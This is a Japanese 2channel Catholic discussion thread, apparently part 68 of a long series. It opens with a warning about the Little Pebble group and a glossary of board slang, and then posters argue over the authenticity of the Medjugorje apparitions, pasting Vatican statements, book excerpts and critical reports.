十十 カトリック ６８ 十十

2000/07/13(木) 07:50 に始まった、カトリックについての交流ロビーです。
初心者・入門者・他宗・無宗教も、どうぞ安心してご投稿下さい。
●直前スレ　http://life.2ch.net/test/read.cgi/psy/1035448540/l50
●スレ一覧（宗教-１）　http://life.2ch.net/psy/subback.html
系譜・用語集・リンク・その他の情報は >>3-21 辺りにあります。
◆ ご注意ください！
インターネット上で、聖シャーベル修道会もしくはその教祖であるＬＰ(リトル・ペブル)を信奉する者が、
カトリック教会と関係があり将来カトリック組織として認められるかのような情報を流しています。
この団体はカトリックと名乗っていますが、ローマカトリック教会・日本カトリック司教協議会とは
一切関係がありません。このスレッドに参加する私達は、この教団をエホバの証人や統一協会と並ぶ
キリスト教偽装型カルトの一派と認めます。（※詳しくは下に資料リンクがあります。）
この一派の信奉者が、『十十十 正統的カトリック・スレッド(数字) 十十十』というスレッドを擁立したり、
会話が成り立たない程の一方的な連続投稿を行って布教を図るなど、非常に悪質な被害が続出しています。
万一お見かけになられましたら、削除申請と規制要請にご協力ください。

ひゃっほ〜い！

▼カトスレの系譜（その１）

Vol.001　カトリックの方に質問です(^_^)/　http://mentai.2ch.net/psy/kako/963/963442202.html
Vol.002　☆カトリック信徒限定スレ☆　http://mentai.2ch.net/psy/kako/968/968808503.html
Vol.003　☆カトリック信徒限定スレ（２）☆　http://mentai.2ch.net/psy/kako/983/983825694.html
Vol.004　☆カトリック信徒限定スレ（３）☆　http://mentai.2ch.net/psy/kako/990/990987180.html
Vol.005　カトリック信徒限定スレ（４）　http://mentai.2ch.net/psy/kako/993/993300339.html
Vol.006　カトリック信者限定スレ（５代目）　http://mentai.2ch.net/psy/kako/994/994947912.html
Vol.007　カトリック信徒限定スレ（６）　http://mentai.2ch.net/psy/kako/996/996045549.html
Vol.008　ローマ・カトリック（禁荒し）スレッド（６代目）　http://mentai.2ch.net/psy/kako/996/996061999.html
Vol.009　カトリック･スレ（６）　http://mentai.2ch.net/psy/kako/996/996062427.html
Vol.010　まったく、とんでも成相明人神父　http://life.2ch.net/psy/kako/997/997892997.html
Vol.011　††† カトリック・すれっど ７ †††　http://mentai.2ch.net/psy/kako/998/998421467.html
Vol.012　十十十 カトリック・スレッド ８ 十十十　http://life.2ch.net/psy/kako/1003/10035/1003561529.html
Vol.013　ナリーもカツラも２８号もみんな仲良くカトリック　http://life.2ch.net/psy/kako/1005/10055/1005592900.html
Vol.014　十十十 カトリック・スレッド １０ 十十十　http://life.2ch.net/psy/kako/1007/10076/1007649694.html
Vol.015　十十十 カトリック・スレッド １１ 十十十　http://life.2ch.net/psy/kako/1008/10083/1008357389.html
Vol.016　十十十 カトリック・スレッド １２ 十十十　http://life.2ch.net/psy/kako/1008/10089/1008927941.html
Vol.017　十十十 カトリック・スレッド １３ 十十十　http://life.2ch.net/psy/kako/1009/10090/1009033803.html
Vol.018　十十十 カトリック １４ 十十十　http://life.2ch.net/psy/kako/1009/10094/1009491454.html

▼カトスレの系譜（その２）

Vol.019　十十十 カトリック １５ 十十十　http://life.2ch.net/psy/kako/1010/10104/1010407820.html
Vol.020　十十十 カトリック １６ 十十十　http://life.2ch.net/psy/kako/1011/10114/1011477283.html
Vol.021　十十十 カトリック １７ 十十十　http://life.2ch.net/psy/kako/1012/10128/1012830645.html
Vol.022　十十十 カトリック １８ 十十十　http://life.2ch.net/psy/kako/1013/10137/1013799699.html
Vol.023　十十十 カトリック １９ 十十十　http://life.2ch.net/psy/kako/1014/10142/1014278570.html
Vol.024　十十十 カトリック ２０ 十十十　http://life.2ch.net/psy/kako/1014/10144/1014417944.html
Vol.025　十十十 カトリック ２１ 十十十　http://life.2ch.net/psy/kako/1014/10148/1014839028.html
Vol.026　十十十 カトリック ２２ 十十十　http://life.2ch.net/psy/kako/1015/10154/1015450573.html
Vol.027　十十十 カトリック ２３ 十十十　http://life.2ch.net/psy/kako/1016/10161/1016192342.html
Vol.028　十十十 カトリック ２４ 十十十　http://life.2ch.net/psy/kako/1016/10164/1016469121.html
Vol.029　十十十 カトリック ２５ 十十十　http://life.2ch.net/psy/kako/1016/10167/1016702745.html
Vol.030　十十十 カトリック ２６ 十十十　http://life.2ch.net/psy/kako/1016/10168/1016822915.html
Vol.031　十十十 カトリック ２７ 十十十　http://life.2ch.net/psy/kako/1017/10175/1017586295.html
Vol.032　十十十 カトリック ２７ 十十十　http://life.2ch.net/psy/kako/1016/10168/1016829705.html
Vol.033　十十十 カトリック ２８ 十十十　http://life.2ch.net/psy/kako/1018/10185/1018506239.html
Vol.034　十十十 カトリック ２９ 十十十　http://life.2ch.net/psy/kako/1019/10195/1019533623.html
Vol.035　十十十 カトリック ３０ 十十十　http://life.2ch.net/psy/kako/1020/10200/1020078109.html
Vol.036　十十十 カトリック ３０ 十十十　http://life.2ch.net/psy/kako/1020/10201/1020170800.html

▼カトスレの系譜（その３）

Vol.037　十十十 カトリック ３１ 十十十　http://life.2ch.net/psy/kako/1020/10202/1020285106.html
Vol.038　十十 カトリック ３８ 十十　http://life.2ch.net/psy/kako/1020/10205/1020526064.html
Vol.039　十十 カトリック ３９ 十十　http://life.2ch.net/psy/kako/1020/10207/1020780428.html
Vol.040　十十 カトリック ４０ 十十　http://life.2ch.net/psy/kako/1021/10210/1021092150.html
Vol.041　十十 カトリック ４１ 十十　http://life.2ch.net/psy/kako/1021/10217/1021741407.html
Vol.042　十十 カトリック ４２ 十十　http://life.2ch.net/psy/kako/1022/10228/1022870528.html
Vol.043　十十 カトリック ４３ 十十　http://life.2ch.net/psy/kako/1022/10228/1022870528.html
Vol.044　十十 カトリック ４４ 十十　http://life.2ch.net/psy/kako/1023/10237/1023738678.html
Vol.045　十十 カトリック ４５ 十十　http://life.2ch.net/psy/kako/1025/10251/1025196157.html
Vol.046　十十 カトリック ４６ 十十　http://life.2ch.net/psy/kako/1026/10267/1026726125.html
Vol.047　十十 カトリック ４７ 十十　http://life.2ch.net/psy/kako/1027/10275/1027525995.html
Vol.048　十十 カトリック ４８ 十十　http://life.2ch.net/psy/kako/1027/10275/1027525995.html
Vol.049　十十 カトリック ４９ 十十　http://life.2ch.net/psy/kako/1029/10291/1029166916.html
Vol.050　十十 カトリック ５０ 十十　http://life.2ch.net/psy/kako/1029/10295/1029553424.html
Vol.051　十十 カトリック ５１ 十十　http://life.2ch.net/psy/kako/1030/10305/1030558475.html
Vol.052　十十 カトリック ５２ 十十　http://life.2ch.net/psy/kako/1030/10308/1030862070.html
Vol.053　十十 カトリック ５３ 十十　http://life.2ch.net/psy/kako/1031/10310/1031096239.html
Vol.054　十十 カトリック ５４ 十十　http://life.2ch.net/psy/kako/1031/10310/1031096239.html

▼カトスレの系譜（その４）

Vol.055　十十 カトリック ５５ 十十　http://life.2ch.net/psy/kako/1032/10323/1032363934.html
Vol.056　十十 カトリック ５６ 十十　http://life.2ch.net/psy/kako/1032/10327/1032768494.html
Vol.057　十十 カトリック ５７ 十十　http://life.2ch.net/psy/kako/1033/10331/1033115364.html
Vol.058　十十 カトリック ５８ 十十　http://life.2ch.net/psy/kako/1033/10336/1033644546.html
Vol.059　十十 カトリック ５９ 十十　http://life.2ch.net/test/read.cgi/psy/1033836381/　html化待ち
Vol.060　十十 カトリック ６０ 十十　http://life.2ch.net/test/read.cgi/psy/1034099089/　html化待ち
Vol.061　十十 カトリック ６１ 十十　http://life.2ch.net/test/read.cgi/psy/1034291584/　html化待ち
Vol.062　十十 カトリック ６２ 十十　http://life.2ch.net/test/read.cgi/psy/1034301388/　html化待ち
Vol.063　十十 カトリック ６１ 十十　http://life.2ch.net/test/read.cgi/psy/1034284646/　html化待ち
Vol.064　十十 カトリック ６４ 十十　http://life.2ch.net/test/read.cgi/psy/1034847932/　html化待ち
Vol.065　十十 カトリック ６５ 十十　http://life.2ch.net/test/read.cgi/psy/1034890174/　html化待ち
Vol.066　十十 カトリック ６６ 十十　http://life.2ch.net/test/read.cgi/psy/1035298108/
Vol.067　十十 カトリック ６７ 十十　http://life.2ch.net/test/read.cgi/psy/1035448540/

（ご注意！）クリックした結果には、誰も責任を負いません。

▼realさんの作ったサイトです。２ちゃんねるでカトスレを見るための補助ＨＰです。
　http://www.geocities.co.jp/SiliconValley-Bay/4587/
　（以下・紹介文コピペ）
　夜な夜な、↑こんなもの作ってみました。２ちゃんねるでカトスレを見るための補助ＨＰです。
　カト系過去ログの一覧も作ってみました。いかがでしょうか？←暇な奴。

▼カト偽装悪質団体資料集
・リトル･ペブル教団の真実 http://littlepebble.hoops.ne.jp/
・【ｶﾙﾄ】聖シャーベル会/リトル・ペブル【ｺﾋﾟﾍﾟ魔】 http://life.2ch.net/test/read.cgi/psy/1031313949/l50
・Little Pebble（シンパ？） http://www.geocities.co.jp/WallStreet/9083/LP.html
・Sect News Daily - News for June 23, 2002 http://www.geocities.com/cultnews/2002/2002_0623.html
・ＬＰのスパムメールの正体 http://www.garakutabeya.com/spam/junk/114.html
・Little Pebble 逮捕のニュース http://www.yowusa.com/Archive/August2002/lpbusted/lpbusted.htm

▼カト系スレのローカル用語（ご推薦下さい）

【青汁】「まず〜い、もう一杯」と、迷惑だがスレを盛り上げる人物。
【青痰】田舎モノと教えてくれる親切な想像上のおっさん信徒。周囲からは疎まれているＱＰ。
【宇治】未解明の星間物質？。１行レスに誘う効用があるとも、蛆虫の略とも、諸説あり。
【ＬＰ】カトリックの名を擬装して活動しているカルトの親玉。カトリックと無関係のカルト。
【カト】カトリック。ノンカトで非カトリックの意。
【ＱＰ】キューピーに同じ。自己を客観視できないお調子者を批判するときに使われる。出典不詳。
【食う】ご聖体（ミサでキリストに変化させられたと信じられているウェハース）を拝領すること。
【クリ】クリスチャン。ノンクリで非クリスチャンの意。
【クレアラシル】終盤スレに殺到して１０００番を踏むことに努力する人種。『埋め荒らし』の転用。
【極道】やんちゃ者との見方もあり、ストーカー被害者との風聞もある、空想上の信者。
【狐狸教会】ある投稿者の枕元に出現した、東京都内の架空の教会。
【シリトリ】唯我独尊への忍耐ができない人々が巻き起こす非生産的なしりとり似の行為。
【弱者ゴロ】マイナーの味方を標榜することで自己顕示欲を満たすネット依存型のカト。
【スパイラル】人望の無い者がもがきながら、より嫌われて行く様。ＱＰスパイラルの略。
【ソーシャル】本来は現実世界での攻撃全般を指す言葉。警察等に訴える趣旨で狭意に用いられる。
【茶坊主】仕切りたがりの中堅。カト家庭出身の者が多く、生意気な相手は手段を選ばず亡き者にする。
　　　　　　　　　　普段の職業での自慢話が唯一のコミュニケーション手段。
【局】つぼね。教会の権力者を指す。ボス局・ゴマスリ局・中毒局の分類はカトスレから発信された金字塔。
【伝統芸能】普段は閑散としているのに、突如巻き起こる激しいチャット。互いにほめ合うことはない。
【２８】狐狸教会に住まう空想上の人物。にじゅうはち。
【腹話術】コテハンの前後に付随して不自然に登場する話し相手のこと。マッチポンプの意。
【プロ】プロテスタント。
【保身】外部とのトラブルの当事者が、取り巻きに対して被害者を装うこと。
【ボンカト】ボーン・カトリックの略。幼児期までに洗礼を受けてカトリックの宿命を背負った者。

Vatican Releases Latest Statement on Medjugorje
August 21, 1996 By Cindy Wooden
Catholic News Service

バチカン、メジュゴリエの最新声明を出す
バチカン（ＣＮＳ）1996年8月21日

バチカンは、カトリック信徒に対しては、メジュゴリエに行くべきではな
いと言ったことは1度もないが、司教に対しては、マリア出現の聖地へ
の公式巡礼は薦めてこなかった、とバチカン報道官は語った。

「メジュゴリエが虚偽と証明されるまでそこへいけない、とは言えません。
そうは言われてないのですから、誰でも好きに行くことができます」
とナヴァロ・ヴァルス報道官は、8月21日、ＣＮＳに語った。

また、カトリックの信徒がどこにいくにせよ、霊的に守られているので
教会はボスニア･ヘルツェゴビナ、メジュゴリエへの信徒の編成した旅行
への参加を司祭に禁じていません。南アフリカを訪問するグループへの参
加を禁じないのと同じです、とも語った。

ナヴァロ・ヴァルスは、メジュゴリエについてのバチカンの立場は
『何も変わっていません』と念を押した。6月初め、フランスの新聞が、
メジュゴリエの巡礼についてのフランスの司教への質問に答えた教理省
の書簡の1部を公表した。教理省のベルトーネ大司教からの書簡は、
前ユーゴ司教団の1991年の声明の一部、｢超自然的出現あるいは啓示が
当地で起きているとは確定できない｣を引用している。

だが、司教団も、ベルトーネ大司教もメジュゴリエへの敬虔な巡礼者数は
教区がケアすべき教会を必要としていると繰り返した。
1991年の通達を引用したあとで、ベルトーネ大司教は、「正式なマリア
出現の場所として理解されるので、メジュゴリエへの公式巡礼は、教区レ
ベルでは編成すべきでない。引用した前ユーゴ司教団の声明に矛盾する
からである」と書いている。

これについて、ナヴァロ・ヴァルス報道官は、「ベルトーネ大司教が書
いたことを読むと、すべてが禁止され,メジュゴリエへ巡礼できる可能性
がなくなるという印象を受けるが、実際には、何も変わってはいない、
何も新しいことは言われていないのです」とＣＮＳに語った。

「司教をもって巡礼を組織的に編成すれば、教会さえ調査段階のメジュゴ
リエに教会法の認可を与えるというのが問題です。告解するために司祭を
伴って団体を組み、巡礼するのは、その限りではありません」

ナヴァロ・ヴァルスはコメントする。「ベルトーネ大司教の言った事が
あまりに狭く解釈されることを憂慮しています。教会あるいはバチカン
がメジュゴリエへの巡礼に『ノー』といえば『ノー』です。しかしなが
ら、公式巡礼の制限は、バチカンが今も出現を調査中である事を人々に
明らかにしているということです。
http://www.nd.edu/~mary/reports/9_1_96.html
http://www.nd.edu/~mary/reports/9_15_96.html
http://www.medjugorje.org/cns.htm
http://www.medjugorjeusa.org/churchposition.htm

ボスニアの民衆は日本人なんかより、はるかに聖母への信心が篤い。1度
行って、聖堂に入ってみな。黒服をまとった農民たちが、平伏して聖体
訪問をしている。私たちが祈るのと同じ聖母に対して、おなじロザリオを
一〇〇倍熱心に捧げている。感動的な光景だ。それを悪魔と言える者がい
るとは驚きだ。

これだけメジュゴリエが攻撃されるというのは、悪魔の攻撃がそれだけ
大きいということ。逆にいうと、それだけ、悪魔が、メジュゴリエの運動が
世界に広まるのを恐れているということです。

http://www.aracnet.com/~cfpw/what_does_the_church_say_about_medjugorje_.html

Medjugorje - What does the Church Say?
メジュゴリエ―教会はどう言っているか
(Taken from "Medjugorje - What does the Church Say" - by Sr. Emmanuel
and Denis Nolan - 1998)
シスター･エマヌエル＆デニス･ノラン共著
「メジュゴリエ―教会はどう言っているか」より

（シスター・エマヌエルの共著者デニス・ノラン氏は、ポール・ニリッツァ
司教様が興されたローマに本拠を置く教皇様公認「聖母の御心の勝利」
使徒職の代表）

７ページ
Pg. 7
August 21, 1996 Vatican City - Joaquin Navarro-Valls, spokesman "You
cannot say people cannot go there (Medjugorje) until it has been proven
false. This has not been said, so anyone can go if they want"
When Catholic faithful go anywhere, they are entitled to spiritual care,
so the church does not forbid priests to accompany lay-organized trips
to Medjugorje in Bosnia-Herzegovina. Navarro-Valls insisted 'nothing
has changed' regarding the Vatican's position on Medj…

1996年8月21日バチカン―ナヴァロ・ヴァルス報道官「メジュゴ
リエが虚偽と証明されるまでそこへいけない、とは言えません。
そのようにはいわれてないのですから、誰でも好きに行くことができます」
カトリックの信徒がどこにいくにせよ、霊的に守られているので、教会は
ボスニア･ヘルツェゴビナ、メジュゴリエへの信徒の編成した旅行への参
加を司祭に禁じていません。ナヴァロ・ヴァルス氏は、メジュゴリエにつ
いてのバチカンの立場は「何も変わっていません」と強調しておられます。

'Has the church or the Vatican said no (to Catholics visiting Medj)?
教会とバチカンは(カトリック信徒がメジュにいくのを)禁じたか?

No!' (CNS News Release, Aug. 21, 1996 )"
いいえ！（CNSニュース。1996年8月21日）

Ibid. Pg. 20（同書20ページ）
" 'Medj. represents the event of the century!', Cardinal Colasuono, Apostolic
Nuncio, Italy
「メジュゴリエは、世紀のイベントを代表するものです」
イタリア教皇大使、コラスオノ枢機卿

Ibid. pg. 28
" 'When it is a question of prophetic revelations, the Pope is the sole judge!'
Pope Leo X , 5th Lateran Council "
同書28ページ
「それが預言啓示の問題となれば、教皇が単独の裁定者である」
教皇レオ10世。第5回ラテラノ会議

Cardinals, Bishops, etc.
枢機卿、司教の見解ほか

Ibid. - pg. 4（同書4ページ）
In September, 1991 Cardinal Ratzinger declared that "no definitive position
had been taken by the church as yet. We are open. The commission proceeds
with its work. One must continue to wait and pray"
1991年9月に、ラッツィンガー枢機卿は「メジュゴリエについて、
教会はまだ明確な立場を取っていません。審理中の段階です。信徒は待ち、
祈り続けなければなりません」

Ibid. pg. 3（同書3ページ）
"According to the number of consecrated hosts distributed each day,
Medj. is one of the foremost places of pilgrimage in the world.
By 1991 Medj. had received more than 18 million pilgrims. Parish records
state that over 50,000 priests, including more than a hundred bishops,
have visited the place, many with the Pope's encouragement."
毎日与えられる聖体の数からみて、メジュゴリエは世界最大の巡礼地の一
つである。1991年までに、メジュゴリエは1800万人以上巡礼者を受け
入れている。教区は、司祭は五万人以上、司教は100人以上、
その多くは教皇様に激励されてきたと記録している。

シスター･エマヌエル＆デニス･ノラン共著
「メジュゴリエ―教会はどう言っているか」より

Pope's comments on Medjugorje
メジュゴリエについての教皇様のコメント

Ibid. - pg. 24（同書24�n）
"In his address at the 1994 National Conference at Notre Dame
Bishop Hnilica quoted the Holy Father's words to a group of Americans
on their way to Medj.:　Our Lady of Medjugorje will save America!' "
1994年のノートルダム全国会議の講演で、ニリッツァ司教は、
メジュゴリエへいく途中のアメリカ人巡礼者グループに、
次の教皇様のお言葉を伝えた。「メジュゴリエの聖母はアメリカを救います」

Ibid. pg. 26（同書26ページ）
"And among the great figures in the Church the Holy Father has many times
expressed his faith in Medj. Cardinal Tomasek has made public the Holy
Father's remarks in his presence,’ If he were not Pope he would like to go to
Medj. to help at the work with the pilgrims.'
教皇様は、何度も、メジュゴリエへの信頼を表明されている。トマセク枢
機卿は教皇が自分にこう言われたと公に述べた。「私が教皇でなかったなら、
巡礼者とともに働きを助けるために,メジュゴリエに行っていたでしょう」

The Holy Father has invited numerous priests and bishops to go there.
He has received several of the Medj. visionaries, among them Mirjana
Dragicevic. Upon her first visit to Rome he spoke for 20 minutes with
her in private.
教皇は、多くの司祭と司教にメジュゴリエに行くよう招かれた。メジュゴ
リエの視幻者の数人を受け入れもした。その中に、ミリアナがいる。初めて
ローマを訪れた彼女に、教皇様は20分間私的に謁見なさった。

The visionary states that she will reveal nothing about this
conversation for the time being, apart from these words of the
Holy Father:' If I were not the Pope, I would be in Medj. already.'
ミリアナは、私的謁見の内容については、教皇様の次の言葉以外は
明かさないと言っている。「私が教皇でなかったなら、とうに、
メジュゴリエに行っていたでしょう」
Here are some of the things the Holy Father has said, easily
verifiable from the Pope himself or the witness cited:
"To Bishop Hnilica on August 1, 1989:'Today the world has lost the
supernatural. Many people sought it and found it in Medjugorje. through
prayer, fasting and through confession,' and in March, 1984,'Medj. is the
fulfillment and continuation of Fatima."
ここに、教皇様が言われたことの幾つかを列挙しよう。それは教皇様
自身からも証人からも確認できる。
1989年8月1日に、ニリッツァ司教に言われた。「今の世界は超自然を
失っています。多くの人がそれを求めて、祈り、断食、告解を通して、
メジュゴリエでそれを見出しています。1984年3月には、
「メジュゴリエはファチマの実現であり、継続です」といわれている。

三上先生のメジュゴリエ・ニュース
プレス・ブレチンをお読み下さい。
項目一覧です。

http://www.aba.ne.jp/~mikami/bulindex.htm

ボスニアの枢機卿はMedjugorjeによって引き起こされた
分裂で心配しました

バチカン、10月10日、2001(CWNews.com)

-サラエボのVinko Puljic枢機卿は、シノドス司教会議で
Medjugorjeの報告された御出現が教会の分裂の源になっていると苦情を言いました。
Puljic枢機卿は、司教が「教会において、および今日の世界において既存の分裂を克服する」ことに
どのように関係しなければならないかの一般的なテーマ上で話しました。
彼は議論しました:「ヨーロッパはもはや東・西ヨーロッパに分割することができない。
世界は北部と南部との間に分かれ続けることができません。」
その後、彼の注意をボスニア-ヘルツェゴヴィナの自分の土地に向けて、
枢機卿は、Medjurgorjeで奉仕するフランシスコ会の修道者
(この人は「偽りのカリスマ」の助けによって「自分の視点ででしゃばる」)
の不服従によって教会の単一性が脅かされると言いました。
地方の司教はMedjugorjeで報告されたマリアの出現の確実性に関する評決
を公式に与えていませんが、
ヒエラルキーは一般に懐疑のサインを示しており、過度の熱中に対して用心させました。
このスタンスは、精力的にMedjugorjeを訪れ、捧げる活動を
主催するフランシスコの司祭との衝突を頻繁に生みました。

VATICAN, Oct 10, 01 (CWNews.com)

- Cardinal Vinko Puljic of Sarajevo, speaking at the Synod of Bishops, has complained that the reported apparitions of Medjugorje are becoming a source of division in the Church.

Cardinal Puljic spoke on the general theme of how bishops should be involved in "overcoming the divisions existing in the Church and in today's world."
He argued: "Europe can no longer be divided into Eastern and Western Europe. The world cannot remain divided between North and South."

Then, turning his attention to his own land of Bosnia-Herzegovina,
the cardinal said that the unity of the Church is threatened by
the disobedience of the Franciscan monks serving at Medjurgorje,
who "impose their own points of view" with the aid of "pseudo-charisms."
Although the local bishop has never officially rendered a verdict on
the authenticity of the reported Marian apparitions at Medjugorje,
the hierarchy has generally shown signs of skepticism, and cautioned
against excessive enthusiasm.
This stance has frequently produced conflicts with the Franciscan pastors
who have energetically promoted visits and devotion to the Medjugorje site.

　　　　　　　　　メジュゴリエとファティマ
　　　　　　　ここは数か国語の美しいサイトです。

http://www.geocities.com/Medjugorie/index_jp.html

メジュゴリエ、シロキ・ブリェグ、モスタル
デニス・ノーランより。

シスターの本、��Medjugorje the 90's
（邦題：メジュゴリエの証言者たち／ドン・ボスコ社刊）�≠ﾉ注目！
現在、中国語、レバノン語、アラビア語、日本語等２０ヶ国語で入手可能です。

このような本はどこにもありません。聖母が、メジュゴリエへ来られることを
通して人々の生活の中でなさっておられる数々の不思議な出来事を、この本は
力強く分ち合ってくれます。

私はちょうどシスターの本を友人に貸したある人から一通のｅメールを受け
取りました。この友人の兄弟は、その本が机の上に置いてあった部屋にたまた
まやって来ました。彼は、何気なく本を手にとって読み始めたのですが、どう
にも止めることができません！何年も前にモルモン教徒になるため教会を離れ
てしまっていたのですが、この本を読んで秘蹟に預かるように呼び戻されたの
でした！現在彼は燃えるほどに熱心なカトリックです！
http://www.geocities.com/Medjugorie/index_jp.html

>メジュはＯＫ!：バチカン声明
「勝手にしろ。でも、バチカンはお勧めしない」という意味のように思われ。

>>24
そうお考えになるのも善いでしょう。断定は避けましょう。まずは
http://www.geocities.com/Medjugorie/
を読んでから判断しましょう。あなたは聖母の騎士。即断は避けましょう。
ことは聖母に関わる問題です。

>>25
お前アホだろう？
メジュゴリエは、「超自然性がない」と教会に判断されている。
バチカンもそれを支持している。
これが現実であり、真実だ。

だいたいカトリックでもないお前は、なぜそんなに
メジュゴリエに熱心なんだ？

>>19　そんな人間が作って書いたメッセージに価値は無し。

>>22>>メジュゴリエとファティマ
ここは数か国語の美しいサイトです。
http://www.geocities.com/Medjugorie/index_jp.html


良サイトを紹介してくださって有難う！
キリストの平安を感じました。
どんどん日本語にしてくだされば、
日本の信徒の意識も変化すると思います。
是非とも翻訳をお進めください。
そして、私たちに善い情報を与えてください。

>>25
実は、７：３くらいの割合で、メジュゴリエの御出現には否定的。
聖母の騎士である上に、O.F.M.は兄弟だから、あまり言いたくないけれ
ど、秋田のケースと違って、権威を有した教区司教様に逆らった時点で、
あまり信用できない。中世じゃあるまいし、教区司教様に逆らう必然性
はないだろうと。事実誤認があるなら、指摘してくれい。

>>26
あなたの意見に合わない人はみな、非カトリックにしてしまうのですか？サイテーですね。

>>30彼らにとっては気に入らん連中は俺さんかプロだよ。ｗ

>>30-31
そういう問題じゃないだろ。

サレジオ会のバルバロ神父様が、訳者として、メジュゴリエの紹介に関
わってしまったのは、サレジオ会として痛いところだ。
じゃあ、聖骸布は痛くないのかって？ごもっとも（ｗ

聖骸布はバチカンが正式に世界に向けて、14世紀の遺物であると通達したのですから,どうしようもないでしょうよ。何を言ってるの？あなたがバチカンより権威があり、納得の行く科学的証拠を出せるなら、別だが。

メジュゴリエの聖母のおかしなメッセージ集

ゴスパ（メジュゴリエの聖母）のメッセージには、異端的なエキュメニスムがあります。
ゴスパは宗教相対主義と宗教無差別という全く新しい教えを説きます。
幻視者によって何度も何度も言われたこのテーマを、順序を追って並べてみましょう。
これらの教えには、論理的なつながりがあり、幻視者らの個人的な神学の知識を明らかに
超越しています。

では、いくつか挙げてみましょう。

「天主にとって、全ての宗教は等しく、同じようなものである」
※これは聖書の教えに反します。

「もしあなたがほかの宗教、回教とセルビア人の宗教（東方教会）を尊敬しなければ
あなたたちは信者ではありません。もしそれらを尊敬しなければあなたたちはキリスト
信者ではありません」

「…宗教間には一致の欠如が見られます。お互いの宗教を尊敬しなければなりません」

※他宗教の人を尊重しなければなりませんが他宗教を尊敬したら
　この上ない神への侮辱です

メジュゴリエの子供たち日本語ＨＰ

http://www.childrenofmedjugorje.com/medj/reports/Japanese/jp03_15_01.html

ファチマとメジュゴリエの要求を比べてみましょう。
その違いは一目瞭然です。

ファチマのルチアは私たちの主からのメッセージを受けてこう言っています。
イエズスの望まれる犠牲は、「各自から望む犠牲は、自分の固有の義務を
果たすこと、掟を守ること、これが私が要求し、私が今求める償いである」

それに対し、メジュゴリエの聖母の要求は異常です。

1983年５月25日、ゴスパはヘレナとマリヤナによって作られた祈りのグループの
メンバーらに「１週間に２回、パンと水で断食すること」「毎日少なくとも３時間
祈りに使うこと」を求めます。

1983年11月16日にゴスパは「司教のために１週間３日断食しなさい」と要求しました。
４月24日には１日に４時間祈ることを要求しています。何故、年端もいかない子供
たちに、健康な修道者がやるようなことを求めるのでしょうか？

>>33
いや、正確な結論は出していないはず。沈黙の上、封印。
尊敬するコンプリ神父様が、まだ聖遺布を研究されているので、あまり
批判できない罠。
しかし、個人的には、ダヴィンチの贋作だと思われ。研究家が当時の技
法で聖遺布を作ってしまったから、何をかいわんや。

トミスラヴ・ヴラシッチ師に「聖母は多くの人たちが現代地獄に行くと言いましたか」と
尋ねられ、マリヤナはファチマの幼きヤシンタのように答えたでしょうか。

ファチマのヤシンタは言いました。「地獄に霊魂たちが落ちないようにたくさん祈らなけ
ればなりません。あそこに落ち行く人はあんなにも多いのです。あんなにも多いのです！」

更に、ファチマのシスタールチアは、或る神学生への手紙の中で、こう言いました。
「現代忘れられていますので、良く思い出す必要のある真理です。それは、地獄には霊魂
たちが嵐のように落ちていることです」

メジュゴリエではどうでしょうか？　マリヤナの答えは、ファチマの牧童の答えとは全く
違っていました。マリヤナはこう言います。

「私は最近ゴスパにその質問をしました。彼女は、今日ほとんどの人々は煉獄に行くと
言いました」

つまり、地獄に行く霊魂はほとんど無いと言うことです。
ファチマの出現当時より、現代は、はるかに悪と快楽が反乱しているにもかかわらずです。

「メジュゴリエの子供たち」会長　シスター・エマニュエル、
ローマ法王との私的謁見に招かれ、メジュゴリエでの奉仕を報告。
写真付き。

http://www.childrenofmedjugorje.com/medj/John%20Paul's%20Encounter.htm

メジュゴリエとファティマ
　　　　　　　ここは数か国語の美しいサイトです。

http://www.geocities.com/Medjugorie/index_jp.html

三上先生のメジュゴリエ・ニュース
プレス・ブレチンをお読み下さい。
項目一覧です。

http://www.aba.ne.jp/~mikami/bulindex.htm

癒し

このことについては、２つの質問を出さねばなりません。

１）メジュゴリエで正真正銘の癒しが生じたか。

２）出現によって或る病の癒しが約束された場合、その癒しが本当に生じたか。

モスタールの司教であるザニッチ司教によって強調されたのは、この第２の点でした。
そしてそれは全く正しい判断です。

ザニッチ司教はそのレポートの中でメデュゴリエの聖母が癒しを約束した５つの件を
あげています。しかし、聖母から癒されると約束された彼らは、その後数週間か
数ヶ月で、全員死んでいます！

1996年11月15日「メジュゴリエの子供たち」会長シスター・エマニュエル
は、 教皇ヨハネ・パウロ２世との私的謁見に招かれ、メジュゴリエでの
奉仕を報告しました。写真付き。

http://www.childrenofmedjugorje.com/medj/John%20Paul's%20Encounter.htm

During their November 15, 1996 meeting, Sr. Emmanuel told the
Holy Father, "I've been living in Medjugorje for 7 years and my
mission is to spread the message of Medjugorje through books, tapes,
TV shows and talks all over the world. Do you...",
I never finished my sentence for, upon hearing these words, the Pope's
hand leapt on my forehead, and his face became amazingly radiant and
he made, or rather marked, a sign of the cross on my forehead and
said aloud: "I bless you!" When she showed him her book on Medjugorje
and her children's book, "Children, Help My Heart to Triumph", which he
leafed through, he blessed her for a third time!
1996年11月15日、シスター・エマニュエルは、教皇様に話していた。
「私は７年間目で生活しています。本、テープ、テレビ、話を通して、世
界中にメジュゴリエのメッセージを伝えるのが使命です。パパ様は…」
言葉が終わらぬ内に、パパ様の手が私の額に置かれました。お顔は
驚くほど輝かれ、私の額にじゅのしるしをされ、大きな声で仰いました。
「あなたを祝福します！」メジュゴリエとその子供たちについての本を
おみせすると、ページをめくりながら、「子供たち、私の勝利のみ心を助
けてください」といわれ、３度目の祝福をしてくださいました。

幻視者の霊魂の実り

超自然の出現には、幻視者において、常に徳への前進が見られます。
私たちは彼らの美徳について判断する資格はありません。しかし、彼らの誠実さに
ついてみてみましょう。つまり、彼らの言うことは信頼が置けるのかどうかと言うことです。

ザニッチ司教は確かな証拠を持って幻視者を嘘つきだといいます。まず、彼らは1981年
６月24日丘の上に散歩に出かけた動機について嘘をつきました。６月30日チェルノCernoへ
行った動機について嘘をつきました。彼らの預言通りにことが起こらないと、彼らは出現が
もうすぐ終わると告げたことを否定しだしました。約束の偉大な印がいつ起こるかについて
正確な日付を示した、という事実を彼らは否定しました。無条件の癒しが起こるという約束
を伝達したことを否定しました。出現は、反抗的なフランシスコ会士たちに対して悪い態度
を取ったことで、司教を告発するメッセージを与えました。しかしこのことについて、彼ら
は何度も嘘をつきました。

1996年11月15日「メジュゴリエの子供たち」会長シスター・エマニュエル
は、 教皇ヨハネ・パウロ２世との私的謁見に招かれ、メジュゴリエでの
奉仕を報告しました。写真付き。

http://www.childrenofmedjugorje.com/medj/John%20Paul's%20Encounter.htm

